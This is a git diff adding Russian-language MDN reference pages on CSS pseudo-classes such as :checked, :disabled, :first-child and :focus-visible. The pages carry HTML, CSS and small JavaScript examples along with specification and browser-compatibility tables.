ВозможностьFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Базовая поддержка{{CompatGeckoDesktop("2")}}{{property_prefix("-moz")}}12.0 (534.30){{property_prefix("-webkit")}}   +

5
+ {{property_prefix("-webkit")}}

+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}5
+ {{property_prefix("-webkit")}}
+
diff --git a/files/ru/web/css/_colon_checked/index.html b/files/ru/web/css/_colon_checked/index.html new file mode 100644 index 0000000000..66316fe2d2 --- /dev/null +++ b/files/ru/web/css/_colon_checked/index.html @@ -0,0 +1,232 @@ +--- +title: ':checked' +slug: 'Web/CSS/:checked' +tags: + - CSS + - Макет + - Псевдоклассы + - Руководство +translation_of: 'Web/CSS/:checked' +--- +
{{CSSRef}}
+ +

CSS псевдоклассы :checked CSS находит любые элементы radio (<input type="radio">), checkbox (<input type="checkbox">) или option ({{ HTMLElement("option") }} внутри {{ HTMLElement("select") }}), которые выбраны или включены. Пользователь может изменить это состояние, нажав на элемент, или выбрав другое значение, в этом случае :checked повторно не применится к элементу, а сохранится.

+ +

Синтаксис

+ +
input:checked {
+  margin-left: 25px;
+  border: 1px solid blue;
+}
+
+ +

Формальный синтаксис

+ +
element:checked { стили }
+ +

Примеры

+ +

Примеры селекторов

+ +
/* любой "кликабельный" элемент */
+:checked {
+  width: 50px;
+  height: 50px;
+}
+
+/* только радиокнопки */
+input[type="radio"]:checked {
+  margin-left: 25px;
+}
+
+/* только чекбоксы */
+input[type="checkbox"]:checked {
+  display: none;
+}
+
+/* только элементы option */
+option:checked {
+  color: red;
+}
+
+ +
+
input[type="radio"]:checked
+
Находит, все отмеченные на странице, радиокнопки
+
+ +
+
input[type="checkbox"]:checked
+
Находит все отмеченные чекбоксы
+
option:checked
+
Находит все отмеченные option
+
+ +

Использование скрытых чекбоксов, чтобы хранить некоторые булевские значения в CSS

+ +

Пседокласс :checked применяется к скрытым чекбоксам в начале вашей страницы, которые могут использоваться, чтобы хранить некоторые динамические значения, используемые в CSS правилах. Следующий пример показывает, как скрывать/показывать некоторые расширяемые элементы, нажимая на кнопку (открыть это демо).

+ +
<!doctype html>
+<html>
+<head>
+<meta charset="utf-8" />
+<title>Расширяемые элементы</title>
+<style>
+#expand-btn {
+    margin: 0 3px;
+    display: inline-block;
+    font: 12px / 13px "Lucida Grande", sans-serif;
+    text-shadow: rgba(255, 255, 255, 0.4) 0 1px;
+    padding: 3px 6px;
+    border: 1px solid rgba(0, 0, 0, 0.6);
+    background-color: #969696;
+    cursor: default;
+    border-radius: 3px;
+    box-shadow: rgba(255, 255, 255, 0.4) 0 1px, inset 0 20px 20px -10px white;
+}
+
+#isexpanded:checked ~ #expand-btn, #isexpanded:checked ~ * #expand-btn {
+    background: #B5B5B5;
+    box-shadow: inset rgba(0, 0, 0, 0.4) 0 -5px 12px, inset rgba(0, 0, 0, 1) 0 1px 3px, rgba(255, 255, 255, 0.4) 0 1px;
+}
+
+#isexpanded, .expandable {
+    display: none;
+}
+
+#isexpanded:checked ~ * tr.expandable {
+    display: table-row;
+    background: #cccccc;
+
+}
+
+#isexpanded:checked ~ p.expandable, #isexpanded:checked ~ * p.expandable {
+    display: block;
+    background: #cccccc;
+}
+</style>
+</head>
+<body>
+
+<input type="checkbox" id="isexpanded" />
+
+<h1>Расширяемые элементы</h1>
+<table>
+    <thead>
+        <tr><th>Колонка #1</th><th>Колонка #2</th><th>Колонка #3</th></tr>
+    </thead>
+    <tbody>
+        <tr class="expandable"><td>[текст ячейки]</td><td>[текст ячейки]</td><td>[текст ячейки]</td></tr>
+        <tr><td>[текст ячейки]</td><td>[текст ячейки]</td><td>[текст ячейки]</td></tr>
+        <tr><td>[текст ячейки]</td><td>[текст ячейки]</td><td>[текст ячейки]</td></tr>
+        <tr class="expandable"><td>[текст ячейки]</td><td>[текст ячейки]</td><td>[текст ячейки]</td></tr>
+        <tr class="expandable"><td>[текст ячейки]</td><td>[текст ячейки]</td><td>[текст ячейки]</td></tr>
+    </tbody>
+</table>
+
+<p>[какой-то текст примера]</p>
+<p><label for="isexpanded" id="expand-btn">Показать скрытые элементы</label></p>
+<p class="expandable">[другой текст для примера]</p>
+<p>[какой-то текст примера]</p>
+</body>
+</html>
+
+ +

{{ EmbedLiveSample('Использование_скрытых_чекбоксов_чтобы_хранить_некоторые_булевские_значения_в_CSS', '', '', '', 'Web/CSS/:checked') }}

+ +

Использование скрытых радиокнопок, чтобы хранить некоторые булевские значения в CSS

+ +

Также вы можете псевдокласс :checked, чтобы скрывать радиокнопки для того, чтобы создать, например, галерею изображений с полноразмерными картинками, показываемыми при наведении на них мыши. Загрузите это демо как вариант решения.

+ +
Замечание: Для аналагично эффекта, но основанного на псевдоклассе :hover и без скрытых радиокнопок, смотрите это демо, взятое со страницы :hover.
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', '#selector-checked', ':checked') }}{{ Spec2('HTML WHATWG') }}Без изменений.
{{ SpecName('HTML5 W3C', '#selector-checked', ':checked') }}{{ Spec2('HTML5 W3C') }}Определяет семантику в HTML.
{{ SpecName('CSS4 Selectors', '#checked', ':checked') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Basic UI', '#pseudo-checked', ':checked') }}{{ Spec2('CSS3 Basic UI') }}Ссылается к Селекторам Уровня 3.
{{ SpecName('CSS3 Selectors', '#checked', ':checked') }}{{ Spec2('CSS3 Selectors') }}Определяет псевдокласс, но не семантику.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{ CompatGeckoDesktop(1.0) }}9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{ CompatGeckoMobile(1.0) }}9.09.53.1
+
+ +

 

diff --git a/files/ru/web/css/_colon_default/index.html b/files/ru/web/css/_colon_default/index.html new file mode 100644 index 0000000000..58e14d2db5 --- /dev/null +++ b/files/ru/web/css/_colon_default/index.html @@ -0,0 +1,137 @@ +--- +title: ':default' +slug: 'Web/CSS/:default' +translation_of: 'Web/CSS/:default' +--- +
{{CSSRef}}
+ +

 CSS псевдо-класс :default находит элемент формы, установленный по умолчанию для группы связаных элементов.

+ +

Этот селектор используется для  элементов: {{htmlelement("button")}}, <input type="checkbox">, <input type="radio">, и {{htmlelement("option")}} .

+ +
/* Выбрать установленный по умолчанию среди <input> */
+input:default {
+  background-color: lime;
+}
+ +

Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс :default найдет все эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.

+ +

Синтаксис

+ +
:default
+
+ +

Пример

+ +

HTML

+ +
<input type="radio" name="season" id="spring">
+<label for="spring">Spring</label>
+
+<input type="radio" name="season" id="summer" checked>
+<label for="summer">Summer</label>
+
+<input type="radio" name="season" id="fall">
+<label for="fall">Fall</label>
+
+<input type="radio" name="season" id="winter">
+<label for="winter">Winter</label>
+ +

CSS

+ +
input:default {
+  box-shadow: 0 0 2px 1px coral;
+}
+
+input:default + label {
+  color: coral;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Example")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#selector-default', ':default')}}{{Spec2('HTML WHATWG')}}Без изменений.
{{SpecName('HTML5 W3C', '#selector-default', ':default')}}{{Spec2('HTML5 W3C')}}Определяет связанную семантику HTML и проверку ограничений.
{{SpecName('CSS4 Selectors', '#default-pseudo', ':default')}}{{Spec2('CSS4 Selectors')}}Без изменений.
{{SpecName('CSS3 Basic UI', '#pseudo-default', ':default')}}{{Spec2('CSS3 Basic UI')}}Первоначальное определение, но не определяет семантику 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая потдержка10.0{{CompatGeckoDesktop("2.0")}}{{CompatNo}}10.05.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая потдержка{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatNo}}10.05.0
+
diff --git a/files/ru/web/css/_colon_defined/index.html b/files/ru/web/css/_colon_defined/index.html new file mode 100644 index 0000000000..301da9aa0c --- /dev/null +++ b/files/ru/web/css/_colon_defined/index.html @@ -0,0 +1,114 @@ +--- +title: ':defined' +slug: 'Web/CSS/:defined' +translation_of: 'Web/CSS/:defined' +--- +
{{ CSSRef }}
+ +

CSS псевдо-класс :defined находит любой элемент, который был определён, включая любой стандартный встроенные в браузер элемент и пользовательские элементы (то есть определённые с помощью метода {{domxref("CustomElementRegistry.define()")}}).

+ +
/* Находит любой элемент, который был определён */
+:defined {
+  font-style: italic;
+}
+
+/* Выбирает все элементы simple-custom, если пользовательский элемент simple-custom был определён */
+simple-custom:defined {
+  display: block;
+}
+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Этот пример включает скрипт, определяющий пользовательский элемент <simple-custom>:

+ +
customElements.define('simple-custom',
+  class extends HTMLElement {
+    constructor() {
+      super();
+
+      let divElem = document.createElement('div');
+      divElem.textContent = this.getAttribute('text');
+
+      let shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(divElem);
+  }
+})
+ +

Затем мы используем короткий HTML код с элементом <simple-custom> и стандартным элементом {{htmlelement("p")}}:

+ +
<simple-custom text="Текст пользовательского элемента"></simple-custom>
+
+<p>Пример текста стандартного параграфа</p>
+ +

Теперь немного CSS. Здесь мы определяем цвета фона для разных элементов и используем селектор :defined, чтобы поменять шрифт всех определённых элементов на курсив.

+ +
/* Определение разных фонов для разных элементов */
+p {
+  background: yellow;
+}
+
+simple-custom {
+  display: block;
+  background: cyan;
+}
+
+/* И пользовательский, и встроенныйэлементы будет отображены курсивом */
+:defined {
+  font-style: italic;
+}
+ +

Наконец, мы добавляем следующие два правила, чтобы спрятать наш пользовательский элемент, если он не был определён или показать в обратном случае:

+ +
simple-custom:not(:defined) {
+  opacity: 0;
+}
+
+simple-custom:defined {
+  opacity: 0.75;
+  text-decoration: underline;
+}
+ +

Это полезно, если у вас есть сложный пользовательский элемент, который требует какое-то время для загрузки — возможно, вы захотите спрятать его до определения, чтобы на странице не появились искажения или не тилизованные элементы.

+ +

результат

+ +

Вот результат выполнения представленного выше кода:

+ +

{{EmbedLiveSample('Examples')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'semantics-other.html#selector-defined', ':defined') }}{{ Spec2('HTML WHATWG') }} 
+ +

Поддержка браузерами

+ +

{{Compat("css.selectors.defined")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_dir/index.html b/files/ru/web/css/_colon_dir/index.html new file mode 100644 index 0000000000..6dbd620eaf --- /dev/null +++ b/files/ru/web/css/_colon_dir/index.html @@ -0,0 +1,104 @@ +--- +title: ':dir()' +slug: 'Web/CSS/:dir' +translation_of: 'Web/CSS/:dir' +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

:dir() — это псевдо-класс CSS, который выбирает элементы на основе направления текста в них.

+ +
/* Выбирает все элементы с текстом справа-налево */
+:dir(rtl) {
+  background-color: red;
+}
+ +

:dir() учитывает только семантическое направление, т.е. заданное в самом документе. Он не учитывает стилизованное направление, т.е. заданное CSS-правилами, например {{cssxref("direction")}}.

+ +
+

Примечание:  помните о том, что псевдокласс :dir() не эквивалентен выбору по атрибуту [dir=…]. Последний применяется только к тем элементам HTML, у которых есть атрибут {{htmlattrxref("dir")}}, игнорируя те, у которых он не задан — даже если они унаследовали его значение. (Похожим образом [dir=rtl] и[dir=ltr] не будут включать auto.) :dir(), же, напротив, соостветсвует значению вычисленному {{glossary("user agent")}}, даже унаследованному.

+
+ +
+

Примечание: В HTML, направление задается атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.

+
+ +

Синтаксис

+ +

:dir() требует одного параметра, представляющего желаемое направление.

+ +

Parameters

+ +
+
ltr
+
Выбирает элементы с направлением текста слева-направо.
+
rtl
+
Выбирает элементы с направлением текста справа-налево.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<div dir="rtl">
+  <span>test1</span>
+  <div dir="ltr">test2
+    <div dir="auto">עִבְרִית</div>
+  </div>
+</div>
+
+ +

CSS

+ +
:dir(ltr) {
+  background-color: yellow;
+}
+
+:dir(rtl) {
+  background-color: powderblue;
+}
+ +

Result

+ +

{{ EmbedLiveSample('Example') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'scripting.html#selector-ltr', ':dir(ltr)')}}{{Spec2('HTML WHATWG')}}No changes.
{{SpecName('CSS4 Selectors', '#the-dir-pseudo', ':dir()')}}{{Spec2('CSS4 Selectors')}}Initial definition.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("css.selectors.dir")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_colon_disabled/index.html b/files/ru/web/css/_colon_disabled/index.html new file mode 100644 index 0000000000..0335cad5fe --- /dev/null +++ b/files/ru/web/css/_colon_disabled/index.html @@ -0,0 +1,162 @@ +--- +title: ':disabled' +slug: 'Web/CSS/:disabled' +tags: + - Псевдо-класс +translation_of: 'Web/CSS/:disabled' +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS псевдо-класс :disabled находит любой отключенный элемент. Элемент отключен, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включенное состояние, когда его можно активировать или сфокусировать.

+ +

Примеры

+ +

Пример селекторов

+ +
+
input:disabled
+
Выберет все отключенные поля ввода
+
select.country:disabled
+
Найдёт все отключенные select элементы с классом country
+
+ +

Пример использования

+ +

Следующий CSS:

+ +
input[type="text"]:disabled { background: #ccc; }
+
+ +

Применим к этому HTML5 фрагменту:

+ +
<form action="#">
+  <fieldset>
+    <legend>Адрес доставки</legend>
+    <input type="text" placeholder="Имя">
+    <input type="text" placeholder="Адрес">
+    <input type="text" placeholder="Почтовый индекс">
+  </fieldset>
+  <fieldset id="billing">
+    <legend>Адрес оплаты</legend>
+    <label for="billing_is_shipping">Такой же как адрес доставки:</label>
+    <input type="checkbox" onchange="javascript:toggleBilling()" checked>
+    <br />
+    <input type="text" placeholder="Имя" disabled>
+    <input type="text" placeholder="Адрес" disabled>
+    <input type="text" placeholder="Почтовый индекс" disabled>
+  </fieldset>
+</form>
+
+ +

Добавим немного javascript:

+ +
function toggleBilling() {
+  var billingItems = document.querySelectorAll('#billing input[type="text"]');
+  for (var i = 0; i < billingItems.length; i++) {
+    billingItems[i].disabled = !billingItems[i].disabled;
+  }
+}
+
+ +

Результатом будет отключение всех полей в группе адреса оплаты и окраска их в серый цвет.

+ +

{{EmbedLiveSample('Пример_использования', '300px', '250px', '', 'Web/CSS/:disabled')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#selector-disabled', ':disabled')}}{{Spec2('HTML WHATWG')}}Без изменений
{{SpecName('HTML5 W3C', '#selector-disabled', ':disabled')}}{{Spec2('HTML5 W3C')}}Определяет семантику HTML и форм.
{{SpecName('CSS4 Selectors', '#enableddisabled', ':disabled')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Basic UI', '#pseudo-classes', ':disabled')}}{{Spec2('CSS3 Basic UI')}}Отсылка к Селекторам Уровня 3
{{SpecName('CSS3 Selectors', '#enableddisabled', ':disabled')}}{{Spec2('CSS3 Selectors')}}Определяет псевдо-класс, но не семантику.
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{CompatGeckoDesktop("1")}}9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{CompatGeckoMobile("1")}}9.09.53.1
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_empty/index.html b/files/ru/web/css/_colon_empty/index.html new file mode 100644 index 0000000000..5fae40fa2e --- /dev/null +++ b/files/ru/web/css/_colon_empty/index.html @@ -0,0 +1,69 @@ +--- +title: ':empty' +slug: 'Web/CSS/:empty' +tags: + - CSS + - CSS Pseudo-class + - Layout + - Reference + - Web + - Псевдоклассы +translation_of: 'Web/CSS/:empty' +--- +

{{ CSSRef() }}

+ +

Описание

+ +

{{ Cssxref("pseudo-classes", "Псевдокласс") }} :empty находит любой элемент, у которого нет потомков. Учитываются элементы и текст (включая пробелы). Комментарии не повлияют на то, что элемент будет рассматриваться как не пустой.

+ +

Синтаксис

+ +
<element>:empty { /* стили */ }
+
+ +

Примеры

+ +
.box {
+  background: red;
+  height: 200px;
+  width: 200px;
+}
+
+.box:empty {
+  background: lime;
+}
+
+ +
<div class="box"><!-- Я буду лаймовым --></div>
+<div class="box">Я буду красным</div>
+<div class="box">
+    <!-- Я буду красным, так как перед комментарием стоят пробелы -->
+</div>
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS4 Selectors', '#empty-pseudo', ':empty') }}{{ Spec2('CSS4 Selectors') }}Без изменений
{{ SpecName('CSS3 Selectors', '#empty-pseudo', ':empty') }}{{ Spec2('CSS3 Selectors') }}Изначальное определение
+ +

Поддержка браузерами

+ +

{{Compat("css.selectors.empty")}}

diff --git a/files/ru/web/css/_colon_enabled/index.html b/files/ru/web/css/_colon_enabled/index.html new file mode 100644 index 0000000000..0425ffaeda --- /dev/null +++ b/files/ru/web/css/_colon_enabled/index.html @@ -0,0 +1,136 @@ +--- +title: ':enabled' +slug: 'Web/CSS/:enabled' +translation_of: 'Web/CSS/:enabled' +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS псевдо-класс :enabled находит любой включенный элемент. Элемент включен, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключенное состояние, когда его нельзя активировать или сфокусировать.

+ +

Пример

+ +

Следующий пример делает цвет текста средне-зелёного оттенка, когда поле включено, и серым, когда отключено. Это позволяет понимать пользователю какие элементы интерактивны, а какие нет.

+ +
+

Следующий HTML...

+ +
    <form action="url_of_form">
+      <label for="FirstField">Первое поле (включено):</label> <input type="text" id="FirstField" value="Lorem"><br />
+      <label for="SecondField">Второе поле (отключено):</label> <input type="text" id="SecondField" value="Ipsum" disabled="disabled"><br />
+      <input type="button" value="Submit" />
+    </form>
+
+ +

...используем со следующим CSS...

+ +
input:enabled {
+  color: #22AA22;
+}
+input:disabled {
+  color: #D9D9D9;
+}
+
+ +

...результат:

+ +
{{EmbedLiveSample("Enabled_Disabled_Inputs_Example",550,95)}}
+ +
Заметьте, цвет текста кнопки также зелёный, так как она тоже включена.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#selector-enabled', ':enabled')}}{{Spec2('HTML WHATWG')}}Без изменений.
{{SpecName('HTML5 W3C', '#selector-enabled', ':enabled')}}{{Spec2('HTML5 W3C')}}Определяет семантику HTML и форм.
{{SpecName('CSS4 Selectors', '#enableddisabled', ':enabled')}}{{Spec2('CSS4 Selectors')}}Без изменений.
{{SpecName('CSS3 Basic UI', '#pseudo-classes', ':enabled')}}{{Spec2('CSS3 Basic UI')}}Отсылка к Селекторам Уровня 3.
{{SpecName('CSS3 Selectors', '#enableddisabled', ':enabled')}}{{Spec2('CSS3 Selectors')}}Определён псевдо-класс, без семантики.
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{CompatGeckoDesktop("1")}}9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{CompatGeckoMobile("1")}}9.09.53.1
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_first-child/index.html b/files/ru/web/css/_colon_first-child/index.html new file mode 100644 index 0000000000..e31fc0391d --- /dev/null +++ b/files/ru/web/css/_colon_first-child/index.html @@ -0,0 +1,133 @@ +--- +title: ':first-child' +slug: 'Web/CSS/:first-child' +tags: + - Псевдо-классы +translation_of: 'Web/CSS/:first-child' +--- +
{{CSSRef}}
+ +

{{cssxRef('', 'CSS')}} {{cssxRef('Pseudo-classes', 'псевдо-класс')}} :first-child находит любой элемент, являющийся первым в своём родителе.

+ +
>
+/* Выбирает любой <p>, который является первым элементом
+   среди своих братьев и сестер */
+p:first-child {
+  color: lime;
+}
+ +
+

Note: Как изначально определено, выбранный элемент должен иметь родителя. Начиная с Selectors Level 4, это больше не требуется.

+
+ +

Синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

Простой пример

+ +

HTML

+ +
<div>
+  <p>This text is selected!</p>
+  <p>This text isn't selected.</p>
+</div>
+
+<div>
+  <h2>This text isn't selected: it's not a `p`.</h2>
+  <p>This text isn't selected.</p>
+</div>
+
+ +

CSS

+ +
p:first-child {
+  color: lime;
+  background-color: black;
+  padding: 5px;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample('Простой_пример', 500, 200)}}

+ +

Стилизация списка

+ +

HTML

+ +
<ul>
+  <li>Item 1</li>
+  <li>Item 2</li>
+  <li>Item 3
+    <ul>
+      <li>Item 3.1</li>
+      <li>Item 3.2</li>
+      <li>Item 3.3</li>
+    </ul>
+  </li>
+</ul>
+ +

CSS

+ +
ul li {
+  color: blue;
+}
+
+ul li:first-child {
+  color: red;
+  font-weight: bold;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Стилизация_списка')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}{{Spec2('CSS4 Selectors')}}Соответствующие элементы не обязательно должны иметь родителя
{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}{{Spec2('CSS3 Selectors')}}Без изменений
{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}{{Spec2('CSS2.1')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ + + +

{{Compat("css.selectors.first-child")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_first-of-type/index.html b/files/ru/web/css/_colon_first-of-type/index.html new file mode 100644 index 0000000000..4a43ca3ca1 --- /dev/null +++ b/files/ru/web/css/_colon_first-of-type/index.html @@ -0,0 +1,118 @@ +--- +title: ':first-of-type' +slug: 'Web/CSS/:first-of-type' +tags: + - Псевдоклассы +translation_of: 'Web/CSS/:first-of-type' +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS псевдокласс :first-of-type находит первого потомка своего типа среди детей родителя.

+ +

Синтаксис

+ +
element:first-of-type { /* стили */ }
+
+ +

Пример

+ +

Этот пример показывает, как применится универсальный селектор, если простой селектор не написан.

+ +
div :first-of-type {
+  background-color: lime;
+}
+ +
<div>
+  <span>Это span первый!</span>
+  <span>Это span нет. :(</span>
+  <span>что насчёт этого <em>вложенного элемента</em>?</span>
+  <strike>Это другой тег</strike>
+  <span>Грустно, это тоже нет...</span>
+</div>
+
+ +

...сработает так:

+ +
{{EmbedLiveSample('Пример','100%', '120')}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}{{Spec2('CSS3 Selectors')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{CompatGeckoDesktop("1.9.1")}}9.09.53.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{CompatGeckoMobile("1.9.1")}}9.010.03.2
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_first/index.html b/files/ru/web/css/_colon_first/index.html new file mode 100644 index 0000000000..b67ccdff29 --- /dev/null +++ b/files/ru/web/css/_colon_first/index.html @@ -0,0 +1,102 @@ +--- +title: ':first' +slug: 'Web/CSS/:first' +tags: + - '@page' + - CSS + - Псевдо-класс + - Разметка +translation_of: 'Web/CSS/:first' +--- +
+ +

CSS псевдокласс :first используется с @-правилом  {{cssxref("@page")}}, представляя первую страницу документа при печати.

+ +
/* Выбирает первую страницу при печати */
+@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+ +
+

Обратите внимани: Вы можете изменять не все CSS свойства в этом псевдо-классе. Вы можете изменять только внешние отступы, {{cssxref("orphans")}}, {{cssxref("widows")}}, и разбитие документа на страницы. Более того, вы можете использовать только абсолютные единицы измерения, определяя внешние отступы. Все остальные правила будут проигнорированы.

+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<p>Первая страница.</p>
+<p>Вторая страница.</p>
+<button>Напечатать</button>
+
+ +

CSS

+ +
@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+
+p {
+  page-break-after: always;
+}
+
+ +

JavaScript

+ +
document.querySelector("button").onclick = function () {
+  window.print();
+}
+
+ +

Результат

+ +

Нажмите кнопку "Напечатать", чтобы напечатать пример. Слова на первой странице должны быть примерно в центре, тогда как на остальных страницах надписи будут на своих обычных местах.

+ +

{{ EmbedLiveSample('Example', '80%', '150px') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Paged Media', '#left-right-first', ':first')}}{{Spec2('CSS3 Paged Media')}}Без изменений.
{{SpecName('CSS2.1', 'page.html#page-selectors', ':first')}}{{Spec2('CSS2.1')}}Первое определение.
+ +

Поддержка браузерами

+ + + + + +

{{Compat("css.selectors.first")}}

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html new file mode 100644 index 0000000000..3859888faa --- /dev/null +++ b/files/ru/web/css/_colon_focus-visible/index.html @@ -0,0 +1,126 @@ +--- +title: ':focus-visible' +slug: 'Web/CSS/:focus-visible' +translation_of: 'Web/CSS/:focus-visible' +--- +
Псевдокласс :focus-visible применяется, в то время как элемент соответствует псевдоклассу :focus, и UA ({{glossary("User Agent")}}) определяет с помощью эвристики, что фокус должен быть сделан очевидным для элемента.
+ +

Этот селектор полезен для предоставления другого индикатора фокуса, основанного на модальности ввода пользователя (мышь против клавиатуры).

+ +

Обратите внимание, что Firefox поддерживает аналогичную функциональность через старый псевдокласс с префиксом :-moz-focusring.

+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Пример

+ +

Базовый пример

+ +

В этом примере селектор :focus-visible использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щелкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью :focus.

+ +
<input value="Default styles"><br>
+<button>Default styles</button><br>
+<input class="focus-only" value=":focus only"><br>
+<button class="focus-only">:focus only</button><br>
+<input class="focus-visible-only" value=":focus-visible only"><br>
+<button class="focus-visible-only">:focus-visible only</button>
+ +
input, button {
+  margin: 10px;
+}
+
+.focus-only:focus {
+  outline: 2px solid black;
+}
+
+.focus-visible-only:focus-visible {
+  outline: 4px dashed darkorange;
+}
+
+ +

{{EmbedLiveSample("Basic_example", "100%", 300)}}

+ +

Выборочное отображение индикатора фокусировки

+ +

Пользовательский элемент управления, такой как кнопка настраиваемого элемента, может использовать: focus-visible для выборочного применения индикатора фокуса только к фокусу клавиатуры. Это соответствует собственному поведению фокуса для таких элементов управления, как {{htmlelement ("button")}}.

+ +
<custom-button tabindex="0" role="button">Click Me</custom-button>
+ +
custom-button {
+  display: inline-block;
+  margin: 10px;
+}
+
+custom-button:focus {
+  /* Обеспечьте резервный стиль для бразеров,
+которые не поддреживают: focus-visible */
+  outline: none;
+  background: lightgrey;
+}
+
+custom-button:focus:not(:focus-visible) {
+  /* Remove the focus indicator on mouse-focus for browsers
+     that do support :focus-visible */
+  background: transparent;
+}
+
+custom-button:focus-visible {
+  /* Draw a very noticeable focus style for
+     keyboard-focus on browsers that do support
+     :focus-visible */
+  outline: 4px dashed darkorange;
+  background: transparent;
+}
+ +

